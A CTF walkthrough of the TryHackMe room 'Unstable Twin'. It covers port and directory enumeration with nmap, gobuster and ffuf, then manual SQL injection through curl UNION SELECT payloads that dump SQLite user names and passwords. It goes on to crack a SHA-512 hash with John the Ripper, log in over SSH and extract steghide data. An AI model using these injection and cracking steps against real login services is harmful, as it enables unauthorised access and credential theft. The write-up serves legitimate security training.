12 minute read

Machine Information

unstable

Unstable Twin is a medium difficulty room on TryHackMe. An initial scan reveals just two ports are open. After some enumeration we find a web service API listening on port 80. Further enumeration finds a login which is vulnerable to SQL injection. We dump credentials from the underlying sqlite database and use them to login via SSH. From there we find pictures, which via Steghide reveal hidden text. We then use CyberChef to combine and decode the final flag.

Skills required are basic enumeration and file manipulation. Skills learned fuzzing using Ffuf and manually performing SQLi using Curl.

Details  
Hosting Site TryHackMe
Link To Machine THM - Medium - Unstable Twin
Machine Release Date 14th February 2021
Date I Completed It 12th May 2021
Distribution Used Kali 2021.1 – Release Info

Initial Recon

As always let’s start with nmap:

┌──(root💀kali)-[~/thm/unstable]
└─# ports=$(nmap -p- --min-rate=1000 -T4 10.10.247.188 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

┌──(root💀kali)-[~/thm/unstable]
└─# nmap -p$ports -Pn -sC -sV -oA unstable 10.10.247.188
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-12 22:00 BST
Nmap scan report for unstable.thm (10.10.247.188)
Host is up (0.026s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey: 
|   3072 ba:a2:40:8e:de:c3:7b:c7:f7:b3:7e:0c:1e:ec:9f:b8 (RSA)
|   256 38:28:4c:e1:4a:75:3d:0d:e7:e4:85:64:38:2a:8e:c7 (ECDSA)
|_  256 1a:33:a0:ed:83:ba:09:a5:62:a7:df:ab:2f:ee:d0:99 (ED25519)
80/tcp open  http    nginx 1.14.1
|_http-server-header: nginx/1.14.1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.00 seconds

Just two open ports. SSH may be used later, for now we start with nginx running on port 80. However when we visit that address in our browser we have an empty page with no content at all. May as well try gobuster and see if we can find anything:

┌──(root💀kali)-[~/thm/unstable]
└─# gobuster dir -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://unstable.thm    
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://unstable.thm
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/05/12 22:00:20 Starting gobuster in directory enumeration mode
===============================================================
http://unstable.thm/info                 (Status: 200) [Size: 160]
===============================================================
2021/05/12 22:14:32 Finished
===============================================================

Enumeration

Just one folder is found, let’s try it:

unstable-web-info

We have a message about an API that needs authenticating to. Let’s see what Curl shows us in verbose mode:

┌──(root💀kali)-[~/thm/unstable]
└─# curl http://unstable.thm/info -v
*   Trying 10.10.247.188:80...
* Connected to unstable.thm (10.10.247.188) port 80 (#0)
> GET /info HTTP/1.1
> Host: unstable.thm
> User-Agent: curl/7.74.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.14.1
< Date: Wed, 12 May 2021 21:40:20 GMT
< Content-Type: application/json
< Content-Length: 160
< Connection: keep-alive
< Build Number: 1.3.4-dev
< Server Name: Vincent
< 
"The login API needs to be called with the username and password form fields fields.  It has not been fully tested yet so may not be full developed and secure"
* Connection #0 to host unstable.thm left intact

I also noticed if I do a Curl again I get a different server:

< Content-Length: 148
< Connection: keep-alive
< Build Number: 1.3.6-final
< Server Name: Julias

The above message says there is a login API, I tried to POST to /api and I see this:

┌──(root💀kali)-[~/thm/unstable]
└─# curl -X POST http://unstable.thm/api
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>

I wondered why /api didn’t show up with my gobuster scan above, so I tried Ffuf and after a little playing with options I found this:

┌──(root💀kali)-[~/thm/unstable]
└─# ffuf -mc all -fs 233 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://unstable.thm/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://unstable.thm/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response size: 233
________________________________________________
info                    [Status: 200, Size: 160, Words: 31, Lines: 2]
api                     [Status: 404, Size: 0, Words: 1, Lines: 1]
:: Progress: [220547/220547] :: Job [1/1] :: 0 req/sec :: Duration: [0:37:24] :: Errors: 0 ::

So Ffuf found the api folder by telling it to show responses for all status codes. The 404 response for an API endpoint is described here like this:

404 (Not Found)
The 404 error status code indicates that the REST API can’t map the client’s URI to a resource but may be available in the future. Subsequent requests by the client are permissible.

From this we take it that there is something else beyond this API, so we run Ffuf again and look what is after /api:

┌──(root💀kali)-[~/thm/unstable]
└─# ffuf -mc all -fs 233 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://unstable.thm/api/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://unstable.thm/api/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response size: 233
________________________________________________
login                   [Status: 405, Size: 178, Words: 20, Lines: 5]
:: Progress: [220547/220547] :: Job [1/1] :: 0 req/sec :: Duration: [0:37:24] :: Errors: 0 ::

SQLi using Curl

Ok. Now we’re looking good. We’ve found a login endpoint. Let’s have a look at that with Curl:

┌──(root💀kali)-[~/thm/unstable]
└─# curl -X POST http://unstable.thm/api/login
"The username or password passed are not correct."

How about trying default credentials:

┌──(root💀kali)-[~/thm/unstable]
└─# curl -X POST 'http://unstable.thm/api/login' -d "username=admin&password=admin"
"The username or password passed are not correct."

Let’s check for SQL injection vulnerabilities. Here is a good list of payloads if you need it, i’ll use the first one which is appending apostrophe after the password:

┌──(root💀kali)-[~/thm/unstable]
└─# curl -X POST 'http://unstable.thm/api/login' -d "username=admin&password=admin'"
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request.  Either the server is overloaded or there is an error in the application.</p>

This response tells us the app is indeed vulnerable. Let’s try to further enumerate information by first confirming what type of database is in use. This is a good article showing how to detect the various possibilities. Knowing this is a Linux box I tried the SQLite one and got this response:

┌──(root💀kali)-[~/thm/unstable]
└─# curl -X POST 'http://unstable.thm/api/login' -d "username=admin&password=admin'UNION SELECT 1,sqlite_version()--"
[
  [
    1, 
    "3.26.0"
  ]
]

So we know we are dealing with sqlite version 3.26.0. Let’s get a list of tables, using this to help us:

┌──(root💀kali)-[~/thm/unstable]
└─# curl -X POST 'http://unstable.thm/api/login' -d "username=admin&password=admin'UNION SELECT 1,tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--"
[
  [
    1, 
    "notes"
  ], 
  [
    1, 
    "users"
  ]
]

We have two tables, let’s look at the users:

┌──(root💀kali)-[~/thm/unstable]
└─# curl -X POST 'http://unstable.thm/api/login' -d "username=admin&password=admin' UNION SELECT 1,(select sql from sqlite_master where tbl_name = 'users')--"
[
  [
    1, 
    "CREATE TABLE \"users\" (\n\t\"id\"\tINTEGER UNIQUE,\n\t\"username\"\tTEXT NOT NULL UNIQUE,\n\t\"password\"\tTEXT NOT NULL UNIQUE,\n\tPRIMARY KEY(\"id\" AUTOINCREMENT)\n)"
  ]
]

Now we know the column names we can extract the data:

┌──(root💀kali)-[~/thm/unstable]
└─# curl -X POST 'http://unstable.thm/api/login' -d "username=admin&password=admin' UNION SELECT 1,group_concat(username) from users--"
[
  [
    1, 
    "julias,linda,marnie,mary_ann,vincent"
  ]
]

We have five users, let’s get their passwords:

┌──(root💀kali)-[~/thm/unstable]
└─# curl -X POST 'http://unstable.thm/api/login' -d "username=admin&password=admin' UNION SELECT 1,group_concat(password) from users--"
[
  [
    1, 
    "Green,Orange,Red,Yellow ,continue..."
  ]
]

Let’s have a look at the other table, this one was called notes:

┌──(root💀kali)-[~/thm/unstable]
└─# curl -X POST 'http://unstable.thm/api/login' -d "username=admin&password=admin' UNION SELECT 1,(select sql from sqlite_master where tbl_name = 'notes')--"
[
  [
    1, 
    "CREATE TABLE \"notes\" (\n\t\"id\"\tINTEGER UNIQUE,\n\t\"user_id\"\tINTEGER,\n\t\"note_sql\"\tINTEGER,\n\t\"notes\"\tTEXT,\n\tPRIMARY KEY(\"id\")\n)"
  ]
]

I looked through the columns in the notes table, and found something interesting in the notes column:

┌──(root💀kali)-[~/thm/unstable]
└─# curl -X POST 'http://unstable.thm/api/login' -d "username=admin&password=admin' UNION SELECT 1,notes FROM notes-- -"
[
  [
    1, 
    "I have left my notes on the server.  They will me help get the family back together. "
  ], 
  [
    1, 
    "My Password is <HIDDEN>"
  ]
]

Hash Cracking

We have a password, which looks more like a hash, let’s check it out:

┌──(root💀kali)-[~/thm/unstable]
└─# hash-identifier <HIDDEN>
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------

Possible Hashs:
[+] SHA-512
[+] Whirlpool
--------------------------------------------------

It is indeed a hash, we can try to crack it with JohnTheRipper:

┌──(root💀kali)-[~/thm/unstable]
└─# john hashes.txt --format=Raw-SHA512 --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-SHA512 [SHA512 256/256 AVX2 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=2
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<HIDDEN>       (?)
1g 0:00:00:00 DONE (2021-05-17 22:22) 100.0g/s 204800p/s 204800c/s 204800C/s i<3ruby..sisters
Use the "--show" option to display all of the cracked passwords reliably
Session completed

User Flag

That was easy! Let’s try this password with the users we dumped from the database, and try to log in via SSH:

┌──(root💀kali)-[~/thm/unstable]
└─# ssh mary_ann@unstable.thm
The authenticity of host 'unstable.thm (10.10.247.188)' can't be established.
ECDSA key fingerprint is SHA256:WrxENvyCyn7qV22+7snQxO8tTSOptNI4dnZ764XnDhk.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'unstable.thm,10.10.247.188' (ECDSA) to the list of known hosts.
mary_ann@unstable.thm's password: 
Last login: Sun Feb 14 09:56:18 2021 from 192.168.20.38
Hello Mary Ann
[mary_ann@UnstableTwin ~]$

It turned out to be the user mary_anns password. A look around her home folder finds the user flag:

[mary_ann@UnstableTwin ~]$ ls -lsa
total 24
0 drwx------. 3 mary_ann mary_ann 138 Feb 13 10:18 .
0 drwxr-xr-x. 3 root     root      22 Feb 13 09:31 ..
4 -rw-------. 1 mary_ann mary_ann 115 Feb 13 10:24 .bash_history
4 -rw-r--r--. 1 mary_ann mary_ann  18 Jul 21  2020 .bash_logout
4 -rw-r--r--. 1 mary_ann mary_ann 141 Jul 21  2020 .bash_profile
4 -rw-r--r--. 1 mary_ann mary_ann 424 Feb 13 10:18 .bashrc
0 drwx------. 2 mary_ann mary_ann  44 Feb 13 09:51 .gnupg
4 -rw-r--r--. 1 mary_ann mary_ann 219 Feb 13 10:13 server_notes.txt
4 -rw-r--r--. 1 mary_ann mary_ann  20 Feb 13 10:15 user.flag

[mary_ann@UnstableTwin ~]$ cat user.flag 
THM{<HIDDEN>}

We also find a file called server_notes, let’s have a look:

[mary_ann@UnstableTwin ~]$ cat server_notes.txt 
Now you have found my notes you now you need to put my extended family together.

We need to GET their IMAGE for the family album.  These can be retrieved by NAME.

You need to find all of them and a picture of myself!

Twins Pictures

Looking around the file system I found this subfolder:

[mary_ann@UnstableTwin unstabletwin]$ ls -la
total 628
drwxr-xr-x. 3 root root    288 Feb 13 12:13  .
drwxr-xr-x. 3 root root     26 Feb 13 09:30  ..
-rw-r--r--. 1 root root  40960 Feb 13 11:17  database.db
-rw-r--r--. 1 root root   1214 Feb 13 10:49  main_5000.py
-rw-r--r--. 1 root root   1837 Feb 13 12:13  main_5001.py
drwxr-xr-x. 2 root root     36 Feb 13 10:25  __pycache__
-rw-r--r--. 1 root root    934 Feb 13 10:24  queries.py
-rw-r--r--. 1 root root 320277 Feb 10 15:43 'Twins (1988).html'
-rw-r--r--. 1 root root  56755 Feb 13 10:23  Twins-Arnold-Schwarzenegger.jpg
-rw-r--r--. 1 root root  47303 Feb 13 10:23  Twins-Bonnie-Bartlett.jpg
-rw-r--r--. 1 root root  50751 Feb 13 10:23  Twins-Chloe-Webb.jpg
-rw-r--r--. 1 root root  42374 Feb 13 10:23  Twins-Danny-DeVito.jpg
-rw-r--r--. 1 root root  58549 Feb 13 10:23  Twins-Kelly-Preston.jpg

I’m assuming those jpgs are the images mentioned in the previous text file we found. I was going to start a web server on Kali and pull them over, but first had a look at the other files. The main_5000.py and main_5001.py files contain the code for the API I’ve been using to enumerate the sqlite database. They also reveal another one I’d not found before:

@app.route('/get_image')
def get_image():
    if request.args.get('name').lower() == 'vincent':
        filename = 'Twins-Danny-DeVito.jpg'
        return send_file(filename, mimetype='image/gif')
    elif request.args.get('name').lower() == 'julias':
        filename = 'Twins-Arnold-Schwarzenegger.jpg'
        return send_file(filename, mimetype='image/gif')
    elif request.args.get('name').lower() == 'mary_ann':
        filename = 'Twins-Bonnie-Bartlett.jpg'
        return send_file(filename, mimetype='image/gif')
    return '', 404

I can use this one to grab the pictures, let’s try it:

┌──(root💀kali)-[~/thm/unstable]
└─# curl http://unstable.thm/get_image?name=\julias --output julias.jpg
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 56755  100 56755    0     0   423k      0 --:--:-- --:--:-- --:--:--  423k

That worked. Repeat for all the user names we’ve found before. Also remember that you may have to do it twice to get the file. Once completed I have them all on Kali:

┌──(root💀kali)-[~/thm/unstable]
└─# ls -ls 
 56 -rw-r--r-- 1 root root  56755 May 17 22:48 julias.jpg
 52 -rw-r--r-- 1 root root  50751 May 17 22:51 linda.jpg
 60 -rw-r--r-- 1 root root  58549 May 17 22:52 marnie.jpg
 48 -rw-r--r-- 1 root root  47303 May 17 22:51 mary_ann.jpg
 44 -rw-r--r-- 1 root root  42374 May 17 22:49 vincent.jpg

Steghide

What do we normally expect with pictures in a CTF? Steganography of course!

Let’s use steghide and see what we can find:

┌──(root💀kali)-[~/thm/unstable]
└─# steghide --extract -sf linda.jpg 
Enter passphrase: 
wrote extracted data to "linda.txt".

As expected, a hidden text file. Repeat this for each picture, so we have five text files which look like this:

┌──(root💀kali)-[~/thm/unstable]
└─# more julias.txt
Red - <HIDDEN>

┌──(root💀kali)-[~/thm/unstable]
└─# more linda.txt
Green - <HIDDEN>

┌──(root💀kali)-[~/thm/unstable]
└─# more marnie.txt
Yellow - <HIDDEN>

┌──(root💀kali)-[~/thm/unstable]
└─# more vincent.txt
Orange - <HIDDEN>

┌──(root💀kali)-[~/thm/unstable]
└─# more mary_ann.txt 
You need to find all my children and arrange in a rainbow!

CyberChef

We have four text strings, each proceeded with a colour and the clue is to arrange them in the order of the rainbow. We all know that’s Red, Orange, Yellow and Green. Combined we end up with this:

1D<HIDDEN>HoNG1

Clearly that string is encrypted in some way. The easiest thing to do is use CyberChef, filter the operations by “from” as we are assuming we decrypting from some method of encoding back to ASCII. Then just try them all one at a time, it takes a while but eventually you find this one:

unstable-cyberchef

At last we’ve got our final flag!

I hope you enjoyed this room as much as I did. For now we are all done. See you next time.

Comments